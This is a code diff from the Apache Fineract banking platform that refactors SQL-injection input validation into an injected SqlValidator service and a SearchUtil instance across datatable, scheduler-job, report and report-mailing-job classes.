import org.apache.fineract.portfolio.search.data.ColumnFilterData;
|
||||
import org.apache.fineract.portfolio.search.service.SearchUtil;
|
||||
@@ -148,6 +148,8 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
|
||||
private final NamedParameterJdbcTemplate namedParameterJdbcTemplate;
|
||||
private final SqlInjectionPreventerService preventSqlInjectionService;
|
||||
private final DatatableKeywordGenerator datatableKeywordGenerator;
|
||||
private final SqlValidator sqlValidator;
|
||||
private final SearchUtil searchUtil;
|
||||
|
||||
@Override
|
||||
public List<DatatableData> retrieveDatatableNames(final String appTable) {
|
||||
@@ -185,7 +187,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
|
||||
@Override
|
||||
public DatatableData retrieveDatatable(final String datatable) {
|
||||
// PERMITTED datatables
|
||||
SQLInjectionValidator.validateSQLInput(datatable);
|
||||
sqlValidator.validate(datatable);
|
||||
final String sql = "select application_table_name, registered_table_name, entity_subtype from x_registered_table "
|
||||
+ " where exists (select 'f' from m_appuser_role ur join m_role r on r.id = ur.role_id"
|
||||
+ " left join m_role_permission rp on rp.role_id = r.id left join m_permission p on p.id = rp.permission_id"
|
||||
@@ -213,21 +215,21 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
|
||||
public List<JsonObject> queryDataTable(@NotNull String datatable, @NotNull String columnName, String columnValueString,
|
||||
@NotNull String resultColumnsString) {
|
||||
datatable = validateDatatableRegistered(datatable);
|
||||
Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil
|
||||
Map<String, ResultsetColumnHeaderData> headersByName = searchUtil
|
||||
.mapHeadersToName(genericDataService.fillResultsetColumnHeaders(datatable));
|
||||
|
||||
List<String> resultColumns = asList(resultColumnsString.split(","));
|
||||
List<String> selectColumns = SearchUtil.validateToJdbcColumnNames(resultColumns, headersByName, false);
|
||||
ResultsetColumnHeaderData column = SearchUtil.validateToJdbcColumn(columnName, headersByName, false);
|
||||
List<String> selectColumns = searchUtil.validateToJdbcColumnNames(resultColumns, headersByName, false);
|
||||
ResultsetColumnHeaderData column = searchUtil.validateToJdbcColumn(columnName, headersByName, false);
|
||||
|
||||
Object columnValue = SearchUtil.parseJdbcColumnValue(column, columnValueString, null, null, null, false, sqlGenerator);
|
||||
Object columnValue = searchUtil.parseJdbcColumnValue(column, columnValueString, null, null, null, false, sqlGenerator);
|
||||
String sql = sqlGenerator.buildSelect(selectColumns, null, false) + " " + sqlGenerator.buildFrom(datatable, null, false) + " WHERE "
|
||||
+ EQ.formatPlaceholder(sqlGenerator, column.getColumnName(), 1, null);
|
||||
SqlRowSet rowSet = jdbcTemplate.queryForRowSet(sql, columnValue); // NOSONAR
|
||||
|
||||
List<JsonObject> results = new ArrayList<>();
|
||||
while (rowSet.next()) {
|
||||
SearchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
|
||||
searchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
|
||||
}
|
||||
return results;
|
||||
}
|
||||
@@ -240,12 +242,12 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
|
||||
AdvancedQueryData request = pagedRequest.getRequest().orElseThrow();
|
||||
dataTableValidator.validateTableSearch(request);
|
||||
|
||||
Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil
|
||||
Map<String, ResultsetColumnHeaderData> headersByName = searchUtil
|
||||
.mapHeadersToName(genericDataService.fillResultsetColumnHeaders(datatable));
|
||||
String pkColumn = SearchUtil.getFiltered(headersByName.values(), ResultsetColumnHeaderData::getIsColumnPrimaryKey).getColumnName();
|
||||
String pkColumn = searchUtil.getFiltered(headersByName.values(), ResultsetColumnHeaderData::getIsColumnPrimaryKey).getColumnName();
|
||||
|
||||
List<ColumnFilterData> columnFilters = request.getNonNullFilters();
|
||||
columnFilters.forEach(e -> e.setColumn(SearchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
|
||||
columnFilters.forEach(e -> e.setColumn(searchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
|
||||
|
||||
List<String> resultColumns = request.getNonNullResultColumns();
|
||||
List<String> selectColumns;
|
||||
@@ -254,14 +256,14 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
|
||||
selectColumns = new ArrayList<>();
|
||||
selectColumns.add(pkColumn);
|
||||
} else {
|
||||
selectColumns = SearchUtil.validateToJdbcColumnNames(resultColumns, headersByName, false);
|
||||
selectColumns = searchUtil.validateToJdbcColumnNames(resultColumns, headersByName, false);
|
||||
}
|
||||
PageRequest pageable = pagedRequest.toPageable();
|
||||
PageRequest sortPageable;
|
||||
if (pageable.getSort().isSorted()) {
|
||||
List<Sort.Order> orders = pageable.getSort().toList();
|
||||
sortPageable = pageable.withSort(Sort.by(orders.stream()
|
||||
.map(e -> e.withProperty(SearchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
|
||||
.map(e -> e.withProperty(searchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
|
||||
} else {
|
||||
pageable = pageable.withSort(Sort.Direction.DESC, pkColumn);
|
||||
sortPageable = pageable;
|
||||
@@ -275,7 +277,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
|
||||
String from = " " + sqlGenerator.buildFrom(datatable, null, false);
|
||||
StringBuilder where = new StringBuilder();
|
||||
ArrayList<Object> params = new ArrayList<>();
|
||||
SearchUtil.buildQueryCondition(columnFilters, where, params, null, headersByName, dateFormat, dateTimeFormat, locale, false,
|
||||
searchUtil.buildQueryCondition(columnFilters, where, params, null, headersByName, dateFormat, dateTimeFormat, locale, false,
|
||||
sqlGenerator);
|
||||
|
||||
List<JsonObject> results = new ArrayList<>();
|
||||
@@ -297,7 +299,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
|
||||
SqlRowSet rowSet = jdbcTemplate.queryForRowSet(query.toString(), args);
|
||||
|
||||
while (rowSet.next()) {
|
||||
SearchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
|
||||
searchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
|
||||
}
|
||||
return PageableExecutionUtils.getPage(results, pageable, () -> totalElements);
|
||||
}
|
||||
@@ -315,19 +317,19 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
|
||||
datatable = validateDatatableRegistered(datatable);
|
||||
context.authenticatedUser().validateHasDatatableReadPermission(datatable);
|
||||
|
||||
Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil
|
||||
Map<String, ResultsetColumnHeaderData> headersByName = searchUtil
|
||||
.mapHeadersToName(genericDataService.fillResultsetColumnHeaders(datatable));
|
||||
|
||||
List<String> thisSelectColumns = SearchUtil.validateToJdbcColumnNames(resultColumns, headersByName, true);
|
||||
List<String> thisSelectColumns = searchUtil.validateToJdbcColumnNames(resultColumns, headersByName, true);
|
||||
if (columnFilters != null) {
|
||||
columnFilters.forEach(e -> e.setColumn(SearchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
|
||||
columnFilters.forEach(e -> e.setColumn(searchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
|
||||
}
|
||||
|
||||
select.append(sqlGenerator.buildSelect(thisSelectColumns, alias, true));
|
||||
selectColumns.addAll(thisSelectColumns);
|
||||
|
||||
String joinType = "LEFT";
|
||||
if (SearchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, dateFormat, dateTimeFormat, locale, true,
|
||||
if (searchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, dateFormat, dateTimeFormat, locale, true,
|
||||
sqlGenerator)) {
|
||||
joinType = null; // INNER
|
||||
}
|
||||
@@ -674,7 +676,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
|
||||
validateDatatableName(datatableName);
|
||||
int rowCount = getDatatableRowCount(datatableName);
|
||||
final List<ResultsetColumnHeaderData> columnHeaderData = this.genericDataService.fillResultsetColumnHeaders(datatableName);
|
||||
final Map<String, ResultsetColumnHeaderData> mapColumnNameDefinition = SearchUtil.mapHeadersToName(columnHeaderData);
|
||||
final Map<String, ResultsetColumnHeaderData> mapColumnNameDefinition = searchUtil.mapHeadersToName(columnHeaderData);
|
||||
|
||||
final boolean isConstraintApproach = this.configurationDomainService.isConstraintApproachEnabledForDatatables();
|
||||
|
||||
@@ -1283,7 +1285,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
|
||||
CommandProcessingResult commandProcessingResult = checkMainResourceExistsWithinScope(entityTable, appTableId);
|
||||
|
||||
List<ResultsetColumnHeaderData> columnHeaders = genericDataService.fillResultsetColumnHeaders(dataTableName);
|
||||
Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil.mapHeadersToName(columnHeaders);
|
||||
Map<String, ResultsetColumnHeaderData> headersByName = searchUtil.mapHeadersToName(columnHeaders);
|
||||
|
||||
final Type typeOfMap = new TypeToken<Map<String, String>>() {}.getType();
|
||||
final Map<String, String> dataParams = fromJsonHelper.extractDataMap(typeOfMap, json);
|
||||
@@ -1302,12 +1304,12 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
|
||||
if (isTechnicalParam(entry.getKey())) {
|
||||
continue;
|
||||
}
|
||||
ResultsetColumnHeaderData columnHeader = SearchUtil.validateToJdbcColumn(entry.getKey(), headersByName, false);
|
||||
ResultsetColumnHeaderData columnHeader = searchUtil.validateToJdbcColumn(entry.getKey(), headersByName, false);
|
||||
if (!isUserInsertable(entityTable, columnHeader)) {
|
||||
continue;
|
||||
}
|
||||
insertColumns.add(columnHeader.getColumnName());
|
||||
params.add(SearchUtil.parseJdbcColumnValue(columnHeader, entry.getValue(), dateFormat, dateTimeFormat, locale, false,
|
||||
params.add(searchUtil.parseJdbcColumnValue(columnHeader, entry.getValue(), dateFormat, dateTimeFormat, locale, false,
|
||||
sqlGenerator));
|
||||
}
|
||||
if (addScore) {
|
||||
@@ -1318,7 +1320,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
|
||||
} else {
|
||||
StringBuilder scoreSql = new StringBuilder("SELECT SUM(code_score) FROM m_code_value WHERE m_code_value.");
|
||||
ArrayList<Object> scoreParams = new ArrayList<>();
|
||||
SearchUtil.buildCondition("id", BIGINT, IN, scoreIds, scoreSql, scoreParams, null, sqlGenerator);
|
||||
searchUtil.buildCondition("id", BIGINT, IN, scoreIds, scoreSql, scoreParams, null, sqlGenerator);
|
||||
Integer score = jdbcTemplate.queryForObject(scoreSql.toString(), Integer.class, scoreParams.toArray(Object[]::new));
|
||||
scoreValue = score == null ? 0 : score;
|
||||
}
|
||||
@@ -1404,7 +1406,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
|
||||
throw new PlatformDataIntegrityException("error.msg.attempting.multiple.update",
|
||||
"Application table: " + dataTableName + " Foreign key id: " + appTableId);
|
||||
}
|
||||
Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil.mapHeadersToName(columnHeaders);
|
||||
Map<String, ResultsetColumnHeaderData> headersByName = searchUtil.mapHeadersToName(columnHeaders);
|
||||
final List<Object> existingValues = existingRows.getData().get(0).getRow();
|
||||
HashMap<ResultsetColumnHeaderData, Object> valuesByHeader = columnHeaders.stream().collect(HashMap::new,
|
||||
(map, e) -> map.put(e, existingValues.get(map.size())), (map, map2) -> {});
|
||||
@@ -1426,13 +1428,13 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
|
||||
if (isTechnicalParam(entry.getKey())) {
|
||||
continue;
|
||||
}
|
||||
ResultsetColumnHeaderData columnHeader = SearchUtil.validateToJdbcColumn(entry.getKey(), headersByName, false);
|
||||
ResultsetColumnHeaderData columnHeader = searchUtil.validateToJdbcColumn(entry.getKey(), headersByName, false);
|
||||
if (!isUserUpdatable(entityTable, columnHeader)) {
|
||||
continue;
|
||||
}
|
||||
String columnName = columnHeader.getColumnName();
|
||||
Object existingValue = valuesByHeader.get(columnHeader);
|
||||
Object columnValue = SearchUtil.parseColumnValue(columnHeader, entry.getValue(), dateFormat, dateTimeFormat, locale, false,
|
||||
Object columnValue = searchUtil.parseColumnValue(columnHeader, entry.getValue(), dateFormat, dateTimeFormat, locale, false,
|
||||
sqlGenerator);
|
||||
if ((columnHeader.getColumnType().isDecimalType() && MathUtil.isEqualTo((BigDecimal) existingValue, (BigDecimal) columnValue))
|
||||
|| (existingValue == null ? columnValue == null : existingValue.equals(columnValue))) {
|
||||
@@ -1445,7 +1447,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
|
||||
}
|
||||
Long primaryKey = datatableId == null ? appTableId : datatableId;
|
||||
if (!updateColumns.isEmpty()) {
|
||||
ResultsetColumnHeaderData pkColumn = SearchUtil.getFiltered(columnHeaders, ResultsetColumnHeaderData::getIsColumnPrimaryKey);
|
||||
ResultsetColumnHeaderData pkColumn = searchUtil.getFiltered(columnHeaders, ResultsetColumnHeaderData::getIsColumnPrimaryKey);
|
||||
params.add(primaryKey);
|
||||
final String sql = sqlGenerator.buildUpdate(dataTableName, updateColumns, headersByName) + " WHERE " + pkColumn.getColumnName()
|
||||
+ " = ?";
|
||||
@@ -1533,7 +1535,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
|
||||
final boolean multiRow = isMultirowDatatable(columnHeaders);
|
||||
|
||||
String whereClause = getFKField(entityTable) + " = " + appTableId;
|
||||
SQLInjectionValidator.validateSQLInput(whereClause);
|
||||
sqlValidator.validate(whereClause);
|
||||
String sql = "select * from " + sqlGenerator.escape(dataTableName) + " where " + whereClause;
|
||||
|
||||
// id only used for reading a specific entry that belongs to appTableId (in a one to many datatable)
|
||||
@@ -1636,7 +1638,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
|
||||
|
||||
@NotNull
|
||||
private EntityTables queryForApplicationEntity(final String datatable) {
|
||||
SQLInjectionValidator.validateSQLInput(datatable);
|
||||
sqlValidator.validate(datatable);
|
||||
final String sql = "SELECT application_table_name FROM x_registered_table where registered_table_name = ?";
|
||||
final SqlRowSet rowSet = jdbcTemplate.queryForRowSet(sql, datatable); // NOSONAR
|
||||
|
||||
@@ -1681,7 +1683,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
|
||||
} else if (!name.matches(DATATABLE_NAME_REGEX_PATTERN)) {
|
||||
throw new PlatformDataIntegrityException("error.msg.datatables.datatable.invalid.name.regex", "Invalid data table name.", name);
|
||||
}
|
||||
SQLInjectionValidator.validateSQLInput(name);
|
||||
sqlValidator.validate(name);
|
||||
}
|
||||
|
||||
private String validateDatatableRegistered(String datatable) {
|
||||
@@ -1750,7 +1752,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
|
||||
}
|
||||
|
||||
private boolean isMultirowDatatable(final List<ResultsetColumnHeaderData> columnHeaders) {
|
||||
return SearchUtil.findFiltered(columnHeaders, e -> e.isNamed(TABLE_FIELD_ID)) != null;
|
||||
return searchUtil.findFiltered(columnHeaders, e -> e.isNamed(TABLE_FIELD_ID)) != null;
|
||||
}
|
||||
|
||||
private String datatableColumnNameToCodeValueName(final String columnName, final String code) {
|
||||
|
||||
+5
-2
@@ -31,7 +31,9 @@ import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDa
|
||||
import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDataServiceImpl;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlInjectionPreventerService;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.apache.fineract.infrastructure.security.utils.ColumnValidator;
|
||||
import org.apache.fineract.portfolio.search.service.SearchUtil;
|
||||
import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;
|
||||
import org.springframework.context.annotation.Bean;
|
||||
import org.springframework.context.annotation.Configuration;
|
||||
@@ -50,9 +52,10 @@ public class DataQueriesAutoConfiguration {
|
||||
final ConfigurationDomainService configurationDomainService, final CodeReadPlatformService codeReadPlatformService,
|
||||
final DataTableValidator dataTableValidator, final ColumnValidator columnValidator,
|
||||
final NamedParameterJdbcTemplate namedParameterJdbcTemplate, final SqlInjectionPreventerService preventSqlInjectionService,
|
||||
DatatableKeywordGenerator datatableKeywordGenerator) {
|
||||
DatatableKeywordGenerator datatableKeywordGenerator, SqlValidator sqlValidator, SearchUtil searchUtil) {
|
||||
return new ReadWriteNonCoreDataServiceImpl(jdbcTemplate, databaseTypeResolver, sqlGenerator, context, fromJsonHelper,
|
||||
genericDataService, fromApiJsonDeserializer, configurationDomainService, codeReadPlatformService, dataTableValidator,
|
||||
columnValidator, namedParameterJdbcTemplate, preventSqlInjectionService, datatableKeywordGenerator);
|
||||
columnValidator, namedParameterJdbcTemplate, preventSqlInjectionService, datatableKeywordGenerator, sqlValidator,
|
||||
searchUtil);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-1
@@ -61,6 +61,7 @@ import org.apache.fineract.infrastructure.jobs.service.JobRegisterService;
|
||||
import org.apache.fineract.infrastructure.jobs.service.SchedulerJobRunnerReadService;
|
||||
import org.apache.fineract.infrastructure.security.exception.NoAuthorizationException;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.springframework.stereotype.Component;
|
||||
|
||||
@Path("/v1/jobs")
|
||||
@@ -79,6 +80,7 @@ public class SchedulerJobApiResource {
|
||||
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
|
||||
private final PlatformSecurityContext context;
|
||||
private final FineractProperties fineractProperties;
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
@GET
|
||||
@Operation(summary = "Retrieve Scheduler Jobs", description = "Returns the list of jobs.\n" + "\n" + "Example Requests:\n" + "\n"
|
||||
@@ -117,7 +119,10 @@ public class SchedulerJobApiResource {
|
||||
@QueryParam("orderBy") @Parameter(description = "orderBy") final String orderBy,
|
||||
@QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
|
||||
this.context.authenticatedUser().validateHasReadPermission(SchedulerJobApiConstants.SCHEDULER_RESOURCE_NAME);
|
||||
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
|
||||
.sortOrder(sortOrder).build();
|
||||
final Page<JobDetailHistoryData> jobhistoryDetailData = this.schedulerJobRunnerReadService.retrieveJobHistory(jobId,
|
||||
searchParameters);
|
||||
final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
|
||||
|
||||
+4
-4
@@ -100,18 +100,18 @@ public class SchedulerJobRunnerReadServiceImpl implements SchedulerJobRunnerRead
|
||||
sqlBuilder.append("select " + sqlGenerator.calcFoundRows() + " ");
|
||||
sqlBuilder.append(jobHistoryMapper.schema());
|
||||
sqlBuilder.append(" where job.id=?");
|
||||
if (searchParameters.isOrderByRequested()) {
|
||||
if (searchParameters.hasOrderBy()) {
|
||||
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
|
||||
if (searchParameters.isSortOrderProvided()) {
|
||||
if (searchParameters.hasSortOrder()) {
|
||||
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
|
||||
}
|
||||
}
|
||||
|
||||
if (searchParameters.isLimited()) {
|
||||
if (searchParameters.hasLimit()) {
|
||||
sqlBuilder.append(" ");
|
||||
if (searchParameters.isOffset()) {
|
||||
if (searchParameters.hasOffset()) {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
|
||||
} else {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
|
||||
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
/**
|
||||
* Licensed to the Apache Software Foundation (ASF) under one
|
||||
* or more contributor license agreements. See the NOTICE file
|
||||
* distributed with this work for additional information
|
||||
* regarding copyright ownership. The ASF licenses this file
|
||||
* to you under the Apache License, Version 2.0 (the
|
||||
* "License"); you may not use this file except in compliance
|
||||
* with the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing,
|
||||
* software distributed under the License is distributed on an
|
||||
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
|
||||
* KIND, either express or implied. See the License for the
|
||||
* specific language governing permissions and limitations
|
||||
* under the License.
|
||||
*/
|
||||
package org.apache.fineract.infrastructure.report.service;
|
||||
|
||||
import jakarta.ws.rs.core.MultivaluedMap;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
|
||||
public abstract class AbstractReportingProcessService implements ReportingProcessService {
|
||||
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
protected AbstractReportingProcessService(SqlValidator sqlValidator) {
|
||||
this.sqlValidator = sqlValidator;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Map<String, String> getReportParams(final MultivaluedMap<String, String> queryParams) {
|
||||
final Map<String, String> reportParams = new HashMap<>();
|
||||
for (Map.Entry<String, List<String>> entry : queryParams.entrySet()) {
|
||||
if (entry.getKey().startsWith("R_")) {
|
||||
String pKey = "${" + entry.getKey().substring(2) + "}";
|
||||
String pValue = entry.getValue().get(0);
|
||||
sqlValidator.validate(pValue);
|
||||
reportParams.put(pKey, pValue);
|
||||
}
|
||||
}
|
||||
return reportParams;
|
||||
}
|
||||
}
|
||||
+1
-14
@@ -20,11 +20,9 @@ package org.apache.fineract.infrastructure.report.service;
|
||||
|
||||
import jakarta.ws.rs.core.MultivaluedMap;
|
||||
import jakarta.ws.rs.core.Response;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import org.apache.fineract.infrastructure.dataqueries.data.ReportExportType;
|
||||
import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
|
||||
|
||||
public interface ReportingProcessService {
|
||||
|
||||
@@ -32,16 +30,5 @@ public interface ReportingProcessService {
|
||||
|
||||
List<ReportExportType> getAvailableExportTargets();
|
||||
|
||||
default Map<String, String> getReportParams(final MultivaluedMap<String, String> queryParams) {
|
||||
final Map<String, String> reportParams = new HashMap<>();
|
||||
for (Map.Entry<String, List<String>> entry : queryParams.entrySet()) {
|
||||
if (entry.getKey().startsWith("R_")) {
|
||||
String pKey = "${" + entry.getKey().substring(2) + "}";
|
||||
String pValue = entry.getValue().get(0);
|
||||
SQLInjectionValidator.validateSQLInput(pValue);
|
||||
reportParams.put(pKey, pValue);
|
||||
}
|
||||
}
|
||||
return reportParams;
|
||||
}
|
||||
Map<String, String> getReportParams(MultivaluedMap<String, String> queryParams);
|
||||
}
|
||||
|
||||
+6
-1
@@ -53,6 +53,7 @@ import org.apache.fineract.infrastructure.reportmailingjob.ReportMailingJobConst
|
||||
import org.apache.fineract.infrastructure.reportmailingjob.data.ReportMailingJobData;
|
||||
import org.apache.fineract.infrastructure.reportmailingjob.service.ReportMailingJobReadPlatformService;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.springframework.stereotype.Component;
|
||||
|
||||
@Path("/v1/" + ReportMailingJobConstants.REPORT_MAILING_JOB_RESOURCE_NAME)
|
||||
@@ -66,6 +67,7 @@ public class ReportMailingJobApiResource {
|
||||
private final ApiRequestParameterHelper apiRequestParameterHelper;
|
||||
private final DefaultToApiJsonSerializer<ReportMailingJobData> reportMailingToApiJsonSerializer;
|
||||
private final ReportMailingJobReadPlatformService reportMailingJobReadPlatformService;
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
@POST
|
||||
@Consumes({ MediaType.APPLICATION_JSON })
|
||||
@@ -184,7 +186,10 @@ public class ReportMailingJobApiResource {
|
||||
.validateHasReadPermission(ReportMailingJobConstants.REPORT_MAILING_JOB_ENTITY_NAME);
|
||||
|
||||
final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
|
||||
final SearchParameters searchParameters = SearchParameters.fromReportMailingJob(offset, limit, orderBy, sortOrder);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
|
||||
.sortOrder(sortOrder).build();
|
||||
final Page<ReportMailingJobData> reportMailingJobData = this.reportMailingJobReadPlatformService
|
||||
.retrieveAllReportMailingJobs(searchParameters);
|
||||
|
||||
|
||||
+6
-1
@@ -43,6 +43,7 @@ import org.apache.fineract.infrastructure.reportmailingjob.ReportMailingJobConst
|
||||
import org.apache.fineract.infrastructure.reportmailingjob.data.ReportMailingJobRunHistoryData;
|
||||
import org.apache.fineract.infrastructure.reportmailingjob.service.ReportMailingJobRunHistoryReadPlatformService;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.springframework.stereotype.Component;
|
||||
|
||||
@Path("/v1/" + ReportMailingJobConstants.REPORT_MAILING_JOB_RUN_HISTORY_RESOURCE_NAME)
|
||||
@@ -55,6 +56,7 @@ public class ReportMailingJobRunHistoryApiResource {
|
||||
private final ApiRequestParameterHelper apiRequestParameterHelper;
|
||||
private final DefaultToApiJsonSerializer<ReportMailingJobRunHistoryData> reportMailingToApiJsonSerializer;
|
||||
private final ReportMailingJobRunHistoryReadPlatformService reportMailingJobRunHistoryReadPlatformService;
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
@GET
|
||||
@Consumes({ MediaType.APPLICATION_JSON })
|
||||
@@ -71,7 +73,10 @@ public class ReportMailingJobRunHistoryApiResource {
|
||||
@QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
|
||||
this.platformSecurityContext.authenticatedUser()
|
||||
.validateHasReadPermission(ReportMailingJobConstants.REPORT_MAILING_JOB_ENTITY_NAME);
|
||||
final SearchParameters searchParameters = SearchParameters.fromReportMailingJobRunHistory(offset, limit, orderBy, sortOrder);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
|
||||
.sortOrder(sortOrder).build();
|
||||
|
||||
final Page<ReportMailingJobRunHistoryData> reportMailingJobRunHistoryData = this.reportMailingJobRunHistoryReadPlatformService
|
||||
.retrieveRunHistoryByJobId(reportMailingJobId, searchParameters);
|
||||
|
||||
+4
-4
@@ -71,10 +71,10 @@ public class ReportMailingJobReadPlatformServiceImpl implements ReportMailingJob
|
||||
sqlStringBuilder.append(mapper.reportMailingJobSchema());
|
||||
sqlStringBuilder.append(" where rmj.is_deleted = false");
|
||||
|
||||
if (searchParameters.isOrderByRequested()) {
|
||||
if (searchParameters.hasOrderBy()) {
|
||||
sqlStringBuilder.append(" order by ").append(searchParameters.getOrderBy());
|
||||
this.columnValidator.validateSqlInjection(sqlStringBuilder.toString(), searchParameters.getOrderBy());
|
||||
if (searchParameters.isSortOrderProvided()) {
|
||||
if (searchParameters.hasSortOrder()) {
|
||||
sqlStringBuilder.append(" ").append(searchParameters.getSortOrder());
|
||||
this.columnValidator.validateSqlInjection(sqlStringBuilder.toString(), searchParameters.getSortOrder());
|
||||
}
|
||||
@@ -82,9 +82,9 @@ public class ReportMailingJobReadPlatformServiceImpl implements ReportMailingJob
|
||||
sqlStringBuilder.append(" order by rmj.name ");
|
||||
}
|
||||
|
||||
if (searchParameters.isLimited()) {
|
||||
if (searchParameters.hasLimit()) {
|
||||
sqlStringBuilder.append(" ");
|
||||
if (searchParameters.isOffset()) {
|
||||
if (searchParameters.hasOffset()) {
|
||||
sqlStringBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
|
||||
} else {
|
||||
sqlStringBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
|
||||
|
||||
+4
-4
@@ -68,18 +68,18 @@ public class ReportMailingJobRunHistoryReadPlatformServiceImpl implements Report
|
||||
queryParameters.add(reportMailingJobId);
|
||||
}
|
||||
|
||||
if (searchParameters.isOrderByRequested()) {
|
||||
if (searchParameters.hasOrderBy()) {
|
||||
sqlStringBuilder.append(" order by ").append(searchParameters.getOrderBy());
|
||||
this.columnValidator.validateSqlInjection(sqlStringBuilder.toString(), searchParameters.getOrderBy());
|
||||
if (searchParameters.isSortOrderProvided()) {
|
||||
if (searchParameters.hasSortOrder()) {
|
||||
sqlStringBuilder.append(" ").append(searchParameters.getSortOrder());
|
||||
this.columnValidator.validateSqlInjection(sqlStringBuilder.toString(), searchParameters.getSortOrder());
|
||||
}
|
||||
}
|
||||
|
||||
if (searchParameters.isLimited()) {
|
||||
if (searchParameters.hasLimit()) {
|
||||
sqlStringBuilder.append(" ");
|
||||
if (searchParameters.isOffset()) {
|
||||
if (searchParameters.hasOffset()) {
|
||||
